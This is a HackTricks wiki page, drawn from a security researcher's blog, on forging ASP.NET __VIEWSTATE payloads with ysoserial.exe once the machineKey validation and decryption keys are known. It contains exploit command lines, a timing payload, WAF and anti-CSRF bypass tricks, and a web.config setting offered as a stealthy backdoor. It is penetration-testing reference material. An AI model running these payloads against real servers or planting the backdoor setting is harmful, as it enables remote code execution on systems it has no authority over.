đź“”
HackTricks - Boitatech
  • HackTricks
  • About the author
  • Getting Started in Hacking
  • Pentesting Methodology
  • External Recon Methodology
    • Github Leaked Secrets
  • Phishing Methodology
    • Clone a Website
    • Detecting Phising
    • Phishing Documents
  • Exfiltration
  • Tunneling and Port Forwarding
  • Brute Force - CheatSheet
  • Search Exploits
  • Shells
    • Shells (Linux, Windows, MSFVenom)
      • MSFVenom - CheatSheet
      • Shells - Windows
      • Shells - Linux
      • Full TTYs
  • Linux/Unix
    • Checklist - Linux Privilege Escalation
    • Linux Privilege Escalation
      • PAM - Pluggable Authentication Modules
      • SELinux
      • Logstash
      • AppArmor
      • Containerd (ctr) Privilege Escalation
      • Docker Breakout
      • electron/CEF/chromium debugger abuse
      • Escaping from Jails
      • Cisco - vmanage
      • D-Bus Enumeration & Command Injection Privilege Escalation
      • Interesting Groups - Linux PE
        • lxd/lxc Group - Privilege escalation
      • ld.so exploit example
      • Linux Capabilities
      • NFS no_root_squash/no_all_squash misconfiguration PE
      • Payloads to execute
      • RunC Privilege Escalation
      • Seccomp
      • Splunk LPE and Persistence
      • SSH Forward Agent exploitation
      • Socket Command Injection
      • Wildcards Spare tricks
    • Useful Linux Commands
      • Bypass Bash Restrictions
    • Linux Environment Variables
  • MacOS
    • MacOS Security & Privilege Escalation
      • Mac OS Architecture
      • MacOS MDM
        • Enrolling Devices in Other Organisations
      • MacOS Protocols
      • MacOS Red Teaming
      • MacOS Serial Number
      • MacOS Apps - Inspecting, debugging and Fuzzing
  • Windows
    • Checklist - Local Windows Privilege Escalation
    • Windows Local Privilege Escalation
      • AppendData/AddSubdirectory permission over service registry
      • Create MSI with WIX
      • DPAPI - Extracting Passwords
      • SeImpersonate from High To System
      • Access Tokens
      • ACLs - DACLs/SACLs/ACEs
      • Dll Hijacking
      • From High Integrity to SYSTEM with Name Pipes
      • Integrity Levels
      • JAWS
      • JuicyPotato
      • Leaked Handle Exploitation
      • MSI Wrapper
      • Named Pipe Client Impersonation
      • PowerUp
      • Privilege Escalation Abusing Tokens
      • Privilege Escalation with Autoruns
      • RottenPotato
      • Seatbelt
      • SeDebug + SeImpersonate copy token
      • Windows C Payloads
    • Active Directory Methodology
      • Abusing Active Directory ACLs/ACEs
      • AD information in printers
      • ASREPRoast
      • BloodHound
      • Constrained Delegation
      • Custom SSP
      • DCShadow
      • DCSync
      • DSRM Credentials
      • Golden Ticket
      • Kerberos Authentication
      • Kerberoast
      • MSSQL Trusted Links
      • Over Pass the Hash/Pass the Key
      • Pass the Ticket
      • Password Spraying
      • Force NTLM Privileged Authentication
      • Privileged Accounts and Token Privileges
      • Resource-based Constrained Delegation
      • Security Descriptors
      • Silver Ticket
      • Skeleton Key
      • Unconstrained Delegation
    • NTLM
      • Places to steal NTLM creds
      • PsExec/Winexec/ScExec
      • SmbExec/ScExec
      • WmicExec
      • AtExec / SchtasksExec
      • WinRM
    • Stealing Credentials
      • Credentials Protections
      • Mimikatz
    • Authentication, Credentials, UAC and EFS
    • Basic CMD for Pentesters
    • Basic PowerShell for Pentesters
      • PowerView
    • AV Bypass
  • Mobile Apps Pentesting
    • Android APK Checklist
    • Android Applications Pentesting
      • Android Applications Basics
      • Android Task Hijacking
      • ADB Commands
      • APK decompilers
      • AVD - Android Virtual Device
      • Burp Suite Configuration for Android
      • content:// protocol
      • Drozer Tutorial
        • Exploiting Content Providers
      • Exploiting a debuggeable applciation
      • Frida Tutorial
        • Frida Tutorial 1
        • Frida Tutorial 2
        • Frida Tutorial 3
        • Objection Tutorial
      • Google CTF 2018 - Shall We Play a Game?
      • Inspeckage Tutorial
      • Intent Injection
      • Make APK Accept CA Certificate
      • Manual DeObfuscation
      • React Native Application
      • Reversing Native Libraries
      • Smali - Decompiling/[Modifying]/Compiling
      • Spoofing your location in Play Store
      • Webview Attacks
    • iOS Pentesting Checklist
    • iOS Pentesting
      • Basic iOS Testing Operations
      • Burp Suite Configuration for iOS
      • Extracting Entitlements From Compiled Application
      • Frida Configuration in iOS
      • iOS App Extensions
      • iOS Basics
      • iOS Custom URI Handlers / Deeplinks / Custom Schemes
      • iOS Hooking With Objection
      • iOS Protocol Handlers
      • iOS Serialisation and Encoding
      • iOS Testing Environment
      • iOS UIActivity Sharing
      • iOS Universal Links
      • iOS UIPasteboard
      • iOS WebViews
  • Pentesting
    • Pentesting Network
      • Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
      • Spoofing SSDP and UPnP Devices with EvilSSDP
      • Wifi Attacks
        • Evil Twin EAP-TLS
      • Pentesting IPv6
      • Nmap Summary (ESP)
      • Network Protocols Explained (ESP)
      • IDS and IPS Evasion
      • DHCPv6
    • Pentesting JDWP - Java Debug Wire Protocol
    • Pentesting Printers
      • Accounting bypass
      • Buffer Overflows
      • Credentials Disclosure / Brute-Force
      • Cross-Site Printing
      • Document Processing
      • Factory Defaults
      • File system access
      • Firmware updates
      • Memory Access
      • Physical Damage
      • Software packages
      • Transmission channel
      • Print job manipulation
      • Print Job Retention
      • Scanner and Fax
    • Pentesting SAP
    • Pentesting Kubernetes
      • Enumeration from a Pod
      • Hardening Roles/ClusterRoles
      • Pentesting Kubernetes from the outside
    • 7/tcp/udp - Pentesting Echo
    • 21 - Pentesting FTP
      • FTP Bounce attack - Scan
      • FTP Bounce - Download 2ÂşFTP file
    • 22 - Pentesting SSH/SFTP
    • 23 - Pentesting Telnet
    • 25,465,587 - Pentesting SMTP/s
      • SMTP - Commands
    • 43 - Pentesting WHOIS
    • 53 - Pentesting DNS
    • 69/UDP TFTP/Bittorrent-tracker
    • 79 - Pentesting Finger
    • 80,443 - Pentesting Web Methodology
      • 403 & 401 Bypasses
      • AEM - Adobe Experience Cloud
      • Apache
      • Artifactory Hacking guide
      • Buckets
        • Firebase Database
        • AWS-S3
      • CGI
      • Code Review Tools
      • Drupal
      • Flask
      • Git
      • Golang
      • GraphQL
      • H2 - Java SQL database
      • IIS - Internet Information Services
      • JBOSS
      • Jenkins
      • JIRA
      • Joomla
      • JSP
      • Laravel
      • Moodle
      • Nginx
      • PHP Tricks (SPA)
        • PHP - Useful Functions & disable_functions/open_basedir bypass
          • disable_functions bypass - php-fpm/FastCGI
          • disable_functions bypass - dl function
          • disable_functions bypass - PHP 7.0-7.4 (*nix only)
          • disable_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit
          • disable_functions - PHP 5.x Shellshock Exploit
          • disable_functions - PHP 5.2.4 ionCube extension Exploit
          • disable_functions bypass - PHP <= 5.2.9 on windows
          • disable_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL
          • disable_functions bypass - PHP safe_mode bypass via proc_open() and custom environment Exploit
          • disable_functions bypass - PHP Perl Extension Safe_mode Bypass Exploit
          • disable_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass
          • disable_functions bypass - PHP 5.2 - FOpen Exploit
          • disable_functions bypass - via mem
          • disable_functions bypass - mod_cgi
          • disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec
      • Python
      • Special HTTP headers
      • Spring Actuators
      • Symphony
      • Tomcat
      • Uncovering CloudFlare
      • VMWare (ESX, VCenter...)
      • Web API Pentesting
      • WebDav
      • werkzeug
      • Wordpress
      • XSS to RCE Electron Desktop Apps
    • 88tcp/udp - Pentesting Kerberos
      • Harvesting tickets from Windows
      • Harvesting tickets from Linux
    • 110,995 - Pentesting POP
    • 111/TCP/UDP - Pentesting Portmapper
    • 113 - Pentesting Ident
    • 123/udp - Pentesting NTP
    • 135, 593 - Pentesting MSRPC
    • 137,138,139 - Pentesting NetBios
    • 139,445 - Pentesting SMB
    • 143,993 - Pentesting IMAP
    • 161,162,10161,10162/udp - Pentesting SNMP
      • SNMP RCE
    • 194,6667,6660-7000 - Pentesting IRC
    • 264 - Pentesting Check Point FireWall-1
    • 389, 636, 3268, 3269 - Pentesting LDAP
    • 500/udp - Pentesting IPsec/IKE VPN
    • 502 - Pentesting Modbus
    • 512 - Pentesting Rexec
    • 513 - Pentesting Rlogin
    • 514 - Pentesting Rsh
    • 515 - Pentesting Line Printer Daemon (LPD)
    • 548 - Pentesting Apple Filing Protocol (AFP)
    • 554,8554 - Pentesting RTSP
    • 623/UDP/TCP - IPMI
    • 631 - Internet Printing Protocol(IPP)
    • 873 - Pentesting Rsync
    • 1026 - Pentesting Rusersd
    • 1080 - Pentesting Socks
    • 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
    • 1433 - Pentesting MSSQL - Microsoft SQL Server
    • 1521,1522-1529 - Pentesting Oracle TNS Listener
      • Oracle Pentesting requirements installation
      • TNS Poison
      • Remote stealth pass brute force
      • Oracle RCE & more
    • 1723 - Pentesting PPTP
    • 1883 - Pentesting MQTT (Mosquitto)
    • 2049 - Pentesting NFS Service
    • 2301,2381 - Pentesting Compaq/HP Insight Manager
    • 2375, 2376 Pentesting Docker
    • 3128 - Pentesting Squid
    • 3260 - Pentesting ISCSI
    • 3299 - Pentesting SAPRouter
    • 3306 - Pentesting Mysql
    • 3389 - Pentesting RDP
    • 3632 - Pentesting distcc
    • 3690 - Pentesting Subversion (svn server)
    • 4369 - Pentesting Erlang Port Mapper Daemon (epmd)
    • 5000 - Pentesting Docker Registry
    • 5353/UDP Multicast DNS (mDNS)
    • 5432,5433 - Pentesting Postgresql
    • 5601 - Pentesting Kibana
    • 5671,5672 - Pentesting AMQP
    • 5800,5801,5900,5901 - Pentesting VNC
    • 5984,6984 - Pentesting CouchDB
    • 5985,5986 - Pentesting WinRM
    • 6000 - Pentesting X11
    • 6379 - Pentesting Redis
    • 8009 - Pentesting Apache JServ Protocol (AJP)
    • 8089 - Splunkd
    • 9000 - Pentesting FastCGI
    • 9001 - Pentesting HSQLDB
    • 9042/9160 - Pentesting Cassandra
    • 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)
    • 9200 - Pentesting Elasticsearch
    • 10000 - Pentesting Network Data Management Protocol (ndmp)
    • 11211 - Pentesting Memcache
    • 15672 - Pentesting RabbitMQ Management
    • 27017,27018 - Pentesting MongoDB
    • 44818/UDP/TCP - Pentesting EthernetIP
    • 47808/udp - Pentesting BACNet
    • 50030,50060,50070,50075,50090 - Pentesting Hadoop
  • Pentesting Web
    • Web Vulnerabilities Methodology
    • Reflecting Techniques - PoCs and Polygloths CheatSheet
      • Web Vulns List
    • 2FA/OTP Bypass
    • Abusing hop-by-hop headers
    • Bypass Payment Process
    • Captcha Bypass
    • Cache Poisoning and Cache Deception
    • Clickjacking
    • Client Side Template Injection (CSTI)
    • Command Injection
    • Content Security Policy (CSP) Bypass
    • Cookies Hacking
    • CORS - Misconfigurations & Bypass
    • CRLF (%0D%0A) Injection
    • Cross-site WebSocket hijacking (CSWSH)
    • CSRF (Cross Site Request Forgery)
    • Dangling Markup - HTML scriptless injection
    • Deserialization
      • NodeJS - __proto__ & prototype Pollution
      • Java JSF ViewState (.faces) Deserialization
      • Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
      • Basic Java Deserialization (ObjectInputStream, readObject)
      • CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
      • Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
      • Exploiting __VIEWSTATE knowing the secrets
      • Exploiting __VIEWSTATE without knowing the secrets
    • Domain/Subdomain takeover
    • Email Header Injection
    • File Inclusion/Path traversal
      • phar:// deserialization
    • File Upload
      • PDF Upload - XXE and CORS bypass
    • Formula Injection
    • HTTP Request Smuggling / HTTP Desync Attack
    • H2C Smuggling
    • IDOR
    • JWT Vulnerabilities (Json Web Tokens)
    • NoSQL injection
    • LDAP Injection
    • Login Bypass
      • Login bypass List
    • OAuth to Account takeover
    • Open Redirect
    • Parameter Pollution
    • PostMessage Vulnerabilities
    • Race Condition
    • Rate Limit Bypass
    • Registration Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Attacks
      • SAML Basics
    • Server Side Inclusion/Edge Side Inclusion Injection
    • SQL Injection
      • MSSQL Injection
      • Oracle injection
      • PostgreSQL injection
        • dblink/lo_import data exfiltration
        • PL/pgSQL Password Bruteforce
        • Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
        • Big Binary Files Upload (PostgreSQL)
        • RCE with PostgreSQL Extensions
      • MySQL injection
        • Mysql SSRF
      • SQLMap - Cheetsheat
        • Second Order Injection - SQLMap
    • SSRF (Server Side Request Forgery)
    • SSTI (Server Side Template Injection)
      • EL - Expression Language
    • Reverse Tab Nabbing
    • Unicode Normalization vulnerability
    • Web Tool - WFuzz
    • XPATH injection
    • XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
    • XXE - XEE - XML External Entity
    • XSS (Cross Site Scripting)
      • PDF Injection
      • DOM XSS
      • Server Side XSS (Dynamic PDF)
      • XSS Tools
    • XSSI (Cross-Site Script Inclusion)
    • XS-Search
  • Forensics
    • Basic Forensic Methodology
      • Baseline Monitoring
      • Anti-Forensic Techniques
      • Docker Forensics
      • Image Adquisition & Mount
      • Linux Forensics
      • Malware Analysis
      • Memory dump analysis
        • Volatility - CheatSheet
      • Partitions/File Systems/Carving
        • EXT
        • File/Data Carving & Recovery Tools
        • NTFS
      • Pcap Inspection
        • DNSCat pcap analysis
        • USB Keystrokes
        • Wifi Pcap Analysis
        • Wireshark tricks
      • Specific Software/File-Type Tricks
        • .pyc
        • Browser Artifacts
        • Desofuscation vbs (cscript.exe)
        • Local Cloud Storage
        • Office file analysis
        • PDF File analysis
        • PNG tricks
        • Video and Audio file analysis
        • ZIPs tricks
      • Windows Artifacts
        • Windows Processes
        • Interesting Windows Registry Keys
  • A.I. Exploiting
    • BRA.I.NSMASHER Presentation
      • Basic Bruteforcer
      • Basic Captcha Breaker
      • BIM Bruteforcer
      • Hybrid Malware Classifier Part 1
  • Blockchain
    • Blockchain & Crypto Currencies
  • Courses and Certifications Reviews
    • INE Courses and eLearnSecurity Certifications Reviews
  • Cloud Security
    • Cloud security review
    • AWS Security
  • Physical attacks
    • Physical Attacks
    • Escaping from KIOSKs
      • Show file extensions
  • Reversing
    • Reversing Tools & Basic Methods
      • Angr
        • Angr - Examples
      • Z3 - Satisfiability Modulo Theories (SMT)
      • Cheat Engine
      • Blobrunner
    • Common API used in Malware
    • Cryptographic/Compression Algorithms
      • Unpacking binaries
    • Word Macros
  • Exploiting
    • Linux Exploiting (Basic) (SPA)
      • Format Strings Template
      • ROP - call sys_execve
      • ROP - Leaking LIBC address
        • ROP - Leaking LIBC template
      • Bypassing Canary & PIE
      • Ret2Lib
      • Fusion
    • Exploiting Tools
      • PwnTools
    • Windows Exploiting (Basic Guide - OSCP lvl)
  • Cryptography
    • Certificates
    • Cipher Block Chaining CBC-MAC
    • Crypto CTFs Tricks
    • Electronic Code Book (ECB)
    • Hash Length Extension Attack
    • Padding Oracle
    • RC4 - Encrypt&Decrypt
  • BACKDOORS
    • Merlin
    • Empire
    • Salseo
    • ICMPsh
  • Stego
    • Stego Tricks
    • Esoteric languages
  • MISC
    • Basic Python
      • venv
      • Bypass Python sandboxes
      • Magic Methods
      • Web Requests
      • Bruteforce hash (few chars)
    • Other Big References
  • TODO
    • More Tools
    • MISC
    • Pentesting DNS
  • Burp Suite
  • Other Web Tricks
  • Interesting HTTP
  • Emails Vulnerabilities
  • Android Forensics
  • TR-069
  • 6881/udp - Pentesting BitTorrent
  • CTF Write-ups
    • challenge-0521.intigriti.io
    • Try Hack Me
      • hc0n Christmas CTF - 2019
      • Pickle Rick
  • 1911 - Pentesting fox
  • Online Platforms with API
  • Stealing Sensitive Information Disclosure from a Web
  • Post Exploitation
Powered by GitBook
On this page
  • Introduction
  • RCE with disabled ViewState MAC Validation
  • RCE with enabled ViewState MAC Validation
  • ViewState YSoSerial.Net plugins
  • Exploiting Older Versions
  • Other tools
  • Additional Tips
  • Using GET requests
  • Encryption in .NET Framework prior to version 4.5
  • Bypassing anti-CSRF (anti-XSRF) mechanism
  • Usage of the ViewStateGenerator parameter
  • ViewState chunking to bypass WAFs
  • Exploiting the EventValidation parameter
  • Beware of the PreviousPage parameter
  • Errors reliability
  • Web.config as a backdoor

Was this helpful?

  1. Pentesting Web
  2. Deserialization

Exploiting __VIEWSTATE knowing the secrets

PreviousBasic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)NextExploiting __VIEWSTATE without knowing the secrets

Last updated 3 years ago

Was this helpful?

The content of this post was extracted from ****

Introduction

ASP.NET web applications use ViewState in order to maintain a page state and persist data in a web form.

It is normally possible to run code on a web server where a valid ViewState can be forged. This can be done when the MAC validation feature has been disabled or by knowing the:

  • Validation key and its algorithm prior to .NET Framework version 4.5

  • Validation key, validation algorithm, decryption key, and decryption algorithm in .NET Framework version 4.5 or above

In order to prevent manipulation attacks, .NET Framework can sign and encrypt the ViewState that has been serialised using the LosFormatter class. It then verifies the signature using the message authentication code (MAC) validation mechanism. The ObjectStateFormatter class performs the signing, encryption, and verification tasks. The keys required to perform the signing and/or encryption mechanism can be stored in the machineKey section of the web.config (application level) or machine.config (machine level) files. This is normally the case when multiple web servers are used to serve the same application often behind a load balancer in a Web Farm or cluster. The following shows the machineKey section’s format in a configuration file of an ASP.NET application that uses .NET Framework version 2.0 or above:

<machineKey validationKey="[String]"  decryptionKey="[String]" validation="[SHA1 | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]"  decryption="[Auto | DES | 3DES | AES | alg:algorithm_name]" />
<machineKey validationKey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" decryptionKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" validation="SHA1" decryption="AES"  />

It should be noted that when a machineKey section has not been defined within the configuration files or when the validationKey and decryptionKey attributes have been set to AutoGenerate, the application generates the required values dynamically based on a cryptographically random secret. The algorithms can also be selected automatically. Currently in the latest version of .NET Framework, the default validation algorithm is HMACSHA256 and the default decryption algorithm is AES. See for more details.

RCE with disabled ViewState MAC Validation

In the past, it was possible to disable the MAC validation simply by setting the enableViewStateMac property to False. Microsoft released a patch in September 2014 to enforce the MAC validation by ignoring this property in all versions of .NET Framework. Although some of us might believe that “the ViewState MAC can no longer be disabled” , it is still possible to disable the MAC validation feature by setting the AspNetEnforceViewStateMac registry key to zero in:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

Alternatively, adding the following dangerous setting to the application level web.config file can disable the MAC validation as well:

<configuration>
…
    <appSettings>
      <add key="aspnet:AllowInsecureDeserialization" value="true" />
    </appSettings>
</configuration>

Prior to the .NET Framework version 4.5, the __VIEWSTATE parameter could be encrypted whilst the MAC validation feature was disabled. It should be noted that most scanners do not attempt to send an unencrypted ViewState parameter to identify this vulnerability. As a result, manual testing is required to check whether the MAC validation is disabled when the __VIEWSTATE parameter has been encrypted. This can be checked by sending a short random base64 string in the __VIEWSTATE parameter. The following URL shows an example:

https://victim.com/path/page.aspx?__VIEWSTATE=AAAA

If the target page responds with an error, the MAC validation feature has been disabled otherwise it would have suppressed the MAC validation error message. However, in scenarios where you cannot see the error message this trick won't work.

Automated scanners should use a payload that causes a short delay on the server-side. This can be achieved by executing the following ASP.NET code as an example to create a 10-second delay:

System.Threading.Thread.Sleep(10000);
string xaml_payload = @"<ResourceDictionary
  xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
  xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
  xmlns:System=""clr-namespace:System;assembly=mscorlib""
  xmlns:Thr=""clr-namespace:System.Threading;assembly=mscorlib"">
     <ObjectDataProvider x:Key=""x"" ObjectType = ""{ x:Type Thr:Thread}"" MethodName = ""Sleep"" >
     <ObjectDataProvider.MethodParameters>
        <System:Int32>10000</System:Int32>
     </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>";

RCE with enabled ViewState MAC Validation

Applications that use an older framework and enforce ViewState encryption can still accept a signed ViewState without encryption. This means that knowing the validation key and its algorithm is enough to exploit a website. It seems ViewState is encrypted by default since version 4.5 even when the viewStateEncryptionMode property has been set to Never. This means that in the latest .NET Framework versions the decryption key and its algorithm are also required in order to create a payload.

ViewState YSoSerial.Net plugins

For .NET Framework >= 4.5:

.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

For .NET Framework <= 4.0 (legacy):

The decryptionKey and its algorithm are not required here:

.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug

Apart from using different gadgets, it is possible to use the __VIEWSTATEGENERATOR parameter instead of providing the paths:

.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --generator=93D20A1B --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

It uses the ActivitySurrogateSelector gadget by default that requires compiling the ExploitClass.cs class in YSoSerial.Net project. The ViewState payload can also be encrypted to avoid WAFs when the decryptionKey value is known:

.\ysoserial.exe -p ViewState -c "foo to use ActivitySurrogateSelector" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --islegacy --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --isencrypted --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

Note: Due to the nature of used gadgets in YSoSerial.Net, the target ASP.NET page always responds with an error even when an exploit has been executed successfully on the server-side.

Application path

it is important to find the root of the application path in order to create a valid ViewState unless:

  • The application uses .NET Framework version 4.0 or below; and

  • The __VIEWSTATEGENERATOR parameter is known.

The following screenshot shows the path tree in IIS:

In order to generate a ViewState for the above URL, the --path and --apppath arguments should be as follows:

--path=/dir1/vDir1/dir2/app1/dir3/app2/vDir2/dir4
--apppath=/app2/

If we did not know that “app2” was an application name, we could use trial and error to test all the directory names in the URL one by one until finding a ViewState that can execute code on the server (perhaps by getting a DNS request or causing a delay).

Generator

In this case, the --generator argument can be used. The --isdebug argument can be used to check whether the plugin also calculates the same __VIEWSTATEGENERATOR parameter when the --path and --apppath arguments have been provided.

Exploiting Older Versions

No gadget was identified to exploit .NET Framework v1.1 at the time of writing this blog post.

Other tools

I think these tools currently do not differentiate between different versions of .NET Framework and target the legacy cryptography. Additionally, they do not use the ViewStateUserKey parameter that might be in use to stop CSRF attacks.

Additional Tips

Using GET requests

It is also possible to send the __VIEWSTATE parameter in the URL via a GET request. The only limiting factor is the URL length that limits the type of gadgets that can be used here.

Encryption in .NET Framework prior to version 4.5

As mentioned previously, the __VIEWSTATE parameter does not need to be encrypted when exploiting .NET Framework 4.0 and below (tested on v2.0 through v4.0) even when the ViewStateEncryptionMode property has been set to Always. ASP.NET decides whether or not the ViewState has been encrypted by finding the __VIEWSTATEENCRYPTED parameter in the request (it does not need to have any value). Therefore, it is possible to send an unencrypted ViewStated by removing the __VIEWSTATEENCRYPTED parameter from the request.

This also means that changing the decryption key or its algorithm cannot stop the attacks when the validation key and its algorithm have been stolen.

The __VIEWSTATE parameter can be encrypted in order to bypass any WAFs though.

Bypassing anti-CSRF (anti-XSRF) mechanism

An ASP.NET page produces an error when an invalid __VIEWSTATE parameter is used. However, the page can still receive its inputs when Request.Form is used directly in the code for example by using Request.Form["txtMyInput"] rather than txtMyInput.Text. The CSRF attack can be achieved by removing the __VIEWSTATE parameter from the request or by adding the __PREVIOUSPAGE parameter with an invalid value. As the __PREVIOUSPAGE parameter is encrypted and base64 formatted by default, even providing a single character as its value should cause an error.

This might result in bypassing the anti-CSRF protection mechanism that has been implemented by setting the Page.ViewStateUserKey parameter.

Usage of the ViewStateGenerator parameter

When the __VIEWSTATEGENERATOR parameter is known, it can be used for the ASP.NET applications that use .NET Framework version 4.0 or below in order to sign a serialised object without knowing the application path.

ViewState chunking to bypass WAFs

It is possible to break the __VIEWSTATE parameter into multiple parts when the MaxPageStateFieldLength property has been set to a positive value. Its default value is negative and it means that the __VIEWSTATE parameter cannot be broken into multiple parts.

This might be useful to bypass some WAFs when ViewState chunking is allowed.

Exploiting the EventValidation parameter

The __EVENTVALIDATION parameter and a few other parameters are also serialised similar to the __VIEWSTATE parameter and can be targeted similarly. Exploiting a deserialisation issue via __EVENTVALIDATION is more restricted and requires:

  • A POST request

  • An ASP.NET page that accepts input parameters

  • A valid input parameter name. For example, the myinput parameter in the POST request when we have the following code on the server-side:

<asp:TextBox runat="server" ID="myinput" />

Value of the __VIEWSTATE parameter can be empty in the request when exploiting the __EVENTVALIDATION parameter but it needs to exist.

The Purpose string that is used by .NET Framework 4.5 and above to create a valid signature is different based on the used parameter. The following table shows the defined Purpose strings in .NET Framework:

Input Parameter

Purpose String

“__VIEWSTATE”

WebForms.HiddenFieldPageStatePersister.ClientState

“__EVENTVALIDATION”

WebForms.ClientScriptManager.EventValidation

P2 in P1|P2 in “__dv” + ClientID + “__hidden”

WebForms.DetailsView.KeyTable

P4 in P1|P2|P3|P4 in “__CALLBACKPARAM”

WebForms.DetailsView.KeyTable

P3 in P1|P2|P3|P4 in “__gv” + ClientID + “__hidden”

WebForms.GridView.SortExpression

P4 in P1|P2|P3|P4 in “__gv” + ClientID + “__hidden”

WebForms.GridView.DataKeys

The table above shows all input parameters that could be targeted.

Beware of the PreviousPage parameter

When the __PREVIOUSPAGE parameter exists in the request with invalid data, the application does not deserialise the __VIEWSTATE parameter. Providing the __CALLBACKID parameter prevents this behaviour.

Errors reliability

As explained previously, we sometimes use errors to check whether a generated ViewState is valid. ASP.NET does not show the MAC validation error by default when an invalid __VIEWSTATEGENERATOR parameter is used. This behaviour changes when the ViewStateUserKey property is used, as ASP.NET will not suppress the MAC validation errors anymore.

In addition to this, ASP.NET web applications can ignore the MAC validation errors with the following setting even when the ViewStateUserKey property is used:

<appSettings>
      <add key="aspnet:AlwaysIgnoreViewStateValidationErrors" value="true" />
</appSettings>

Web.config as a backdoor

If attackers can change the web.config within the root of an application, they can easily run code on the server. However, embedding a stealthy backdoor on the application might be a good choice for an attacker. This can be done by disabling the MAC validation and setting the viewStateEncryptionMode property to Always. This means that all ASP.NET pages that do not set the ViewStateEncryptionMode property to Auto or Never always use encrypted ViewState parameters. However, as the ViewState do not use the MAC validation feature, they are now vulnerable to remote code execution via deserialising untrusted data. The following shows an example:

<configuration>
…
    <system.web>
…
        <pages enableViewStateMac="false" viewStateEncryptionMode="Always" />
    </system.web>
    <appSettings>
        <add key="aspnet:AllowInsecureDeserialization" value="false" />
    </appSettings>
</configuration>

Another option for a stand-alone website would be to set the machineKey section with arbitrary keys and algorithms to stop other attackers!

It should be noted that setting the EnableViewState property to False does not stop this attack as the ViewState will still be parsed by ASP.NET.

When ViewState MAC validation has been disabled, the project can be used to generate LosFormatter payloads as the ViewState in order to run arbitrary code on the server.

In older versions (prior to 4.5), .NET Framework uses the TemplateSourceDirectory property when signing a serialised object. Since version 4.5 however, it uses the Purpose strings in order to create the hash. Both of these mechanisms require the target path from the root of the application directory and the page name. These parameters can be extracted from the URL.

The ASP.NET ViewState contains a property called ViewStateUserKey that can be used to mitigate risks of cross-site request forgery (CSRF) attacks . Value of the ViewStateUserKey property (when it is not null) is also used during the ViewState signing process. Although not knowing the value of this parameter can stop our attack, its value can often be found in the cookies or in a hidden input parameter ( shows an implemented example).

In YSoSerial.Net master and YSoSerial.Netv2 you can find a plugin ( and ) to exploit this technique when all the information is known.

You can check if you are not familiar with virtual directory and application terms in IIS.

In order to exploit applications that use .NET Framework v4.0 or below, the YSoSerial.Net v2.0 branch can be used (this was originally developed as part of another research ). However, this project only supports a limited number of gadgets, and also requires the target box to have .NET Framework 3.5 or above installed.

It seems Immunity Canvas supports creating the ViewState parameter when the validation and encryption keys are known . The following tools were also released coincidentally at the same time as I was about to publish my work which was quite surprising:

(written in Python)

(written in .NET)

https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
[13]
[3]
[4]
YSoSerial.Net
[15]
[16]
[4]
[17]
this
this
[20]
[21]
[22]
[29]
https://github.com/0xACB/viewgen
https://github.com/Illuminopi/RCEvil.NET